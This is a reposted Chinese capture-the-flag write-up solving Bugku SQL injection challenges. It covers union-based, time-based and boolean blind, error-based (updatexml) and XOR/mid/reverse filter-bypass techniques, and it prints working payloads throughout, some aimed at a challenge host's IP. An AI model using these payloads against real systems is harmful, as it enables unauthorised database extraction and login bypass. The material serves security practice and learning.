Bugku sql注入

成绩单

输入1,2,3发现都会显示不同的成绩单,输入4没有东西,输入1’没有东西显示,输入1’#又有了,测试了一下,没有过滤,那就可以开始进行注入了

首先判断列数

1’ order by 1#, 1’ order by 2#, 1’order by 3#, 1’ order by 4#

到order by 5就不行了,所以得知是4列

判断回显

4′ union select 1,2,3,4#

爆库

4′ union select 1,2,3,database()#

爆表

4′ union select 1,2,3, table_name from information_schema.tables where table_schema=’skctf_flag’#

爆列

4′ union select 1,2,3, column_name from information_schema.columns where table_name=’fl4g’#

得到flag

4′ union select 1,2,3,skctf_flag from fl4g#

login1

尝试登录admin,失败,尝试注册admin,用户名已存在,提示sql约束攻击

参考: http://netsecurity.51cto.com/art/201701/526861.htm

于是注册一个账号admin 1,但是登录之后她会说不是管理员也想看flag?! 于是注册一个admin (admin加空格)的账号,登录就能看到flag了

insert into注入

发现后台会将访问者的ip添加到数据库中,并且如果请求头中存在X-Forwarded-For的话,ip就等于它的值,于是考虑http头注入

《Bugku sql注入》

尝试在请求头中添加X-Forwarded-For,发现无论是什么值,都会将他返回到页面上,于是考虑时间盲注,测试一下,发现真的延迟5s显示了

《Bugku sql注入》

接下来就是脚本爆库

payload =”1’+(select case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset {0}) from {1} for 1)='{2}’) then sleep(5) else 1 end) and ‘1’=’1″

《Bugku sql注入》
《Bugku sql注入》

爆表

payload =”1’+(select case when (substring((select table_name from information_schema.TABLES where table_schema=’web15′ limit 1 offset {0}) from {1} for 1)='{2}’) then sleep(5) else 1 end) and ‘1’=’1″

《Bugku sql注入》

爆字段

payload =”1’+(select case when (substring((select column_name from information_schema.COLUMNS where table_name=’flag’ limit 1 offset {0}) from {1} for 1)='{2}’) then sleep(5) else 1 end) and ‘1’=’1″

《Bugku sql注入》

Getflag

payload =”1’+(select case when (substring((select flag from flag) from {0} for 1)='{1}’) then sleep(5) else 1 end) and ‘1’=’1″

这是一个神奇的登陆框

看到sql就知道这题是道注入题了,于是测试一下,正常登录他会说try again,在username后面加了个\发现报错,再加个#又正常了,说明#没有被吃掉,测试一下发现一些关键字都没有过滤掉,然后就可以进行注入了

admin_name=admin” or 1=1#&admin_passwd=admin123&submit=GO+GO+GO

《Bugku sql注入》

判断列数

admin_name=admin” order by 3#&admin_passwd=admin123&submit=GO+GO+GO

《Bugku sql注入》

判断回显

admin_name=admin” union select 1,2#&admin_passwd=admin123&submit=GO+GO+GO

《Bugku sql注入》

爆数据库

admin_name=admin” union select database(),2#&admin_passwd=admin123&submit=GO+GO+GO

《Bugku sql注入》

爆表

admin_name=admin” union select table_name,2 from information_schema.tables where table_schema=”bugkusql1″#&admin_passwd=admin123&submit=GO+GO+GO

《Bugku sql注入》

爆字段

admin_name=admin” union select column_name,2 from information_schema.columns where table_name=”flag1″ #&admin_passwd=admin123&submit=GO+GO+GO

《Bugku sql注入》

Getflag

admin_name=admin” union select flag1,2 from flag1#&admin_passwd=admin123&submit=GO+GO+GO

《Bugku sql注入》

多次

id=5时,她告诉我们能可以sql注入

《Bugku sql注入》

于是开始尝试,加个 ’ 报错了,加个#也报错了,于是换成%23,不报错了,然后再进一步测试有什么被吃掉了,id=1’ or 1=1%23报错,id=1’ and 1=1%23也报错,于是猜测or、and都被吃掉了,于是尝试双写绕过,id=1’ oorr 1=1%23正常了,经过测试union、select也被吃掉了,我们都可以双写绕过,这时我们就可以开始注入了,首先判断列数

http://120.24.86.145:9004/1ndex.php?id=1’oorrder by 3%23

列数为2,确定回显

http://120.24.86.145:9004/1ndex.php?id=-1′ ununionion selselectect 1,2%23

爆数据库

http://120.24.86.145:9004/1ndex.php?id=-1′ ununionion selselectect 1,database()%23

爆表

http://120.24.86.145:9004/1ndex.php?id=-1′ ununionion selselectect 1,table_name from infoorrmation_schema.tables where table_schema=’web1002-1’%23

爆字段

http://120.24.86.145:9004/1ndex.php?id=-1′ ununionion selselectect 1,column_name from infoorrmation_schema.columns where table_name=’flag1’%23

Get 假flag

http://120.24.86.145:9004/1ndex.php?id=-1′ ununionion selselectect 1,flag1 from flag1%23

《Bugku sql注入》

得到了一串不知道什么东西的东西,后来想起题目说有两个flag,于是又从头开始爆

爆表,发现除了flag1还有hint

http://120.24.86.145:9004/1ndex.php?id=-1′ ununionion selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=’web1002-1’%23

爆字段,在hint中没有发现什么东西,在flag1中发现除了flag1还有address

http://120.24.86.145:9004/1ndex.php?id=-1′ ununionion selselectect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name=’flag1’%23

成功找到下一关地址

http://120.24.86.145:9004/1ndex.php?id=-1′ ununionion selselectect 1,group_concat(address) from flag1%23

《Bugku sql注入》

?id=1’报错

?id=1’#报错,换成?id=1’–+,成功

判断数据库长度  ?id=1′ and length(database())=10–+   长度为9

判断列数 ?id=1′ order by 2–+   两列

经过测试发现union、substr被吃掉了,于是考虑用updatexml报错注入

爆库

?id=-1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)–+

《Bugku sql注入》

爆表

?id=-1′ and updatexml(1,concat(0x7e,(select group_concat(table_name)

from information_schema.tables where table_schema=database()),0x7e),1)–+

《Bugku sql注入》

爆字段

?id=-1′ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’flag2′),0x7e),1)–+

《Bugku sql注入》

Getflag

?id=-1′ and updatexml(1,concat(0x7e,(select flag2 from flag2),0x7e),1)–+

这里还有个小坑,题目说flag均为小写,flag中的B得改成b

这题除了用updatexml报错注入还可以用盲注,下面是脚本

《Bugku sql注入》 database
《Bugku sql注入》 table

字段和爆表的脚本是差不多的就不放了

《Bugku sql注入》 flag

Sql注入2

登录进去有一个登录框,于是习惯性试一下admin/admin、admin/admin123,emmm然后第二次就登进去了,看到

《Bugku sql注入》

露出尴尬而不是礼貌的微笑,ls一下看到flag,摇头.gif

注入操作参考https://xz.aliyun.com/t/2583

抓包测试一下,发现有username、password error两种报错,尝试测试一下什么东西被过滤掉了,发现#、or、and、union、order、空格被过滤掉了,并且被过滤的话会有提示

《Bugku sql注入》

后来想到提示:!,!=,=,+,-,^,% 提示的意思会不会是这些符号都还在呢,这个时候 ^ 就吸引我的注意力了,一般数字的时候,^ 会有比较好的效果,比如

?id = 1^1    -> 0

?id = 1^0    -> 1

但是在空格、or、and等关键词没有的时候,要怎么操作呢?我们可以尝试使用 –

当字符串与数字进行运算时,字符串会被转换成数值,比如

admin -> 0     1admin ->1    admin1 -> 0

《Bugku sql注入》

因此’admin’-1-”   ->   0-1-0=-1

       ‘admin’-0-”   ->   0-0-0=0

于是我们测试一下,我们可以看到当username=admin’-0-‘ 为true,username= admin’-1-‘ 为false,

《Bugku sql注入》
《Bugku sql注入》

这时后台的查询语句就相当于

$query = select * from user where username = $ username;

$query = select * from user where username =0;

这时当字符串跟数字比较时,username被转换成了0,因此为true

这样我们就成功闭合了单引号

下面我们就尝试构造跟下面类似的语句

ascii(substr((select database()),1,1))>-1

ascii(mid(passwd,1,1))=%d

把这个语句放在0和1的位置就可以取出数据

但是这里逗号和空格都不能用,那么substr就用不了,但是我们可以使用mid(),比如

passwd=abc123

那我们可以用以下方式来取出想要的数据

mid((passwd)from(-1)) ->3

mid((passwd)from(-2)) ->23

mid((passwd)from(-3)) ->123

倒叙输出几位,但是这样如果要截取最后一位的话,显然每次截取的都是3,因此我们反转过来,使得每次截取出来的不一样

先倒叙取出几位

mid((passwd)from(-%d))

反转

reverse(mid((passwd)from(-%d)))

取最后一位

mid(reverse(mid((passwd)from(-%d)))from(-1))

比较ascii值

ascii(mid(reverse(mid((passwd)from(-%d)))from(-1)))= %d

测试一下发现

当表达式为真时,返回的是username error!!

《Bugku sql注入》

当表达式为假时,返回的是password error!!

《Bugku sql注入》

因此我们就可以利用这个特点进行盲注

下面是脚本

《Bugku sql注入》

至于这个passwd怎么来的呢,根据form表单猜的,因为很多关键词都被过滤掉了,很难搞到

运行得到

《Bugku sql注入》

猜测其为md5

《Bugku sql注入》

用其作为密码登录admin账号上去看到

《Bugku sql注入》

执行ls得到flag

报错注入

挂了…

Trim的日记本

挂了….

login3

随便输了个用户名,发现

《Bugku sql注入》

当用户名存在时,密码为空或者错误则会返回

《Bugku sql注入》

也就是说,后台是先判断用户名,当用过户名存在时才会判断密码是否正确,为了验证,我又试了一下随便输入个用户名但是不输入密码,发现也是返回用户名不存在

admin用户名是存在的,尝试在其后面加 ‘ ,发现说username不存在了,加了个#又变成password error了,说明#没有被吃掉,于是我们可以利用此来进行布尔盲注

接着测试了一下发现空格、and、union、=、+、,、information被过滤了,并且被过滤的话会有提示

《Bugku sql注入》

=可以用<>代替,空格可以用()代替

因为union、+、and都被过滤掉了,因此我们考虑通过异或来注入

比如admin^0^0  -> 0   admin^1^0  ->1

我们只要将payload插入到中间的0、1的那个位置就能进行布尔盲注了,当条件成立时会返回password error,不成立时则返回username does not exist,根据这个我们可以判断注入是否成功

先爆数据库

payload = “admin’^(ascii(mid(database()from(%d)))<>%d^0#”%(i,ord(j))

数据库:blindsql

但是由于information被禁掉了,因此我们只能猜表名猜字段

《Bugku sql注入》
《Bugku sql注入》

Md5解一下,登录得到flag

《Bugku sql注入》

作者水平有限,若有错误请指出Orz

    原文作者:Glarcy
    原文地址: https://www.jianshu.com/p/24c31b9202aa
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞